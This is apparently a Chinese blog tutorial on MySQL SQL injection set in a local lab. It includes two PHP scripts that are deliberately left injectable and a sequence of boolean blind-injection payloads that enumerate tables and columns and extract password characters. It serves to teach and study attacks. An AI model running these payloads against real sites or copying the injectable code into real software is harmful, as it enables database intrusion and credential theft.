渗透测试MySql注入(一)
2019-08-12 本文已影响0人
Dale丶
一、SQL注入条件
- 参数用户可控:前端传递给后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库执行。
二、MySQL注入知识点
在mysql5.0之后默认存在一个information_schema数据库,该数据库中有三个表特别重要,分别为:SCHEMATA表、TABLES表、COLUMNS表。
-
SCHEMATA表中SCHEMA_NAME存放该用户创建的所有数据库库名:
SCHEMATA表
-
TABLES表中TABLE_SCHEMA和TABLE_NAME存放该用户创建的所有数据库库名和表名:
TABLES表
- COLUMNS表中TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME分别存在该用户所创建的所有数据库名、表名、列名。
COLUMNS表 1. mysql查询语法
SELECT 要查询的字段名 FROM 库名.表名
select * from mysql.user
mysql查询1
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名 = 已知条件的值
select * from mysql.user where user = 'root'
mysql查询2
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名 = 已知条件1的值 AND 已知条件2的字段名 = 已知条件2的值
select * from mysql.user where user = 'root' and Host = 'localhost';
mysql查询3 2..limit 用法
limit相当于对查询的结果做约束,语法为limit m,n。m表示开始的位置,从0开始,n表示取的个数,limit 0,1表示
select * from mysql.user limit 0,1
limit用法 3.需要记住的几个函数
- database() :当前网站的数据库
- version():当前mysql版本
- user():当前数据库用户
4.注释符 - mysql常见的注释符有#--空格和/**/
5.内联注释 - 内联注释形式如:/!xxx/,内联注释可以用于整个SQL语句中
/*!select*/ * from /*!mysql.user */;
内联注释
三、union注入
在Navicat中创建一个数据库并填入相关的表数据
编写union注入代码:
<?php
$con = mysqli_connect('localhost','root','root');//选择数据库
mysqli_select_db($con,'test');//选择表
if(mysqli_connect_error()){
echo "连接失败:".mysqli_connect_error();//要是连接失败就给提醒
}
$id = $_GET['id'];
$res = mysqli_query($con,"select * from user where `id` = ".$id );//执行SQL语句
$row = mysqli_fetch_array($res);//将mysql处理结果转换为数组
echo $row['user'] . ":" . $row['address'];//向前端显示数组值
echo "<br>";
?>

现在可以进行SQL注入了












五、Boolean 注入攻击
编写boolean注入代码:
<?php
$con = mysqli_connect('localhost','root','root');
mysqli_select_db($con,'test');
if(mysqli_connect_error()){
echo "连接失败:".mysqli_connect_error();
}
$id = $_GET['id'];
if(preg_match("/union|sleep|benchmark/i",$id)){
echo "no";
}
$res = mysqli_query($con,'select * from user where `id` = '.$id);
$row = mysqli_fetch_array($res);
if($row){
echo "yes";
}else{
echo "no";
}
?>
//以上代码过滤了关键字,且只回显‘yes’或者‘no’
此时无法进行union注入,可以进行bool注入
判断是否存在SQL注入:


payload:and length(database())>0



payload:and ascii(substr(database(),1,1))>1



payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=1

payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=2

payload:and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))=4

payload:and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>0

查看有多少列:
and (select count(column_name) from information_schema.columns where table_schema = 'test' and table_name = 'user' limit 0,1)>3
说明存在4列,查看第一列列名长度:
and length(substr((select column_name from information_schema.columns where table_schema='test' and table_name = 'user' limit 0,1),1))=2
变换limit x,1可以遍历出所有列名的长度,接下来爆破第一列的第一位:
and ascii(substr((select column_name from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),1,1))>0
进行爆破后得出每一列的列名···
接下来提取数据:
and ascii(substr((select Password from user limit 0,1),1,1))=49
变换substr(x,y,1)中的y值一次爆破出数据···
最后得到整个数据库中的内容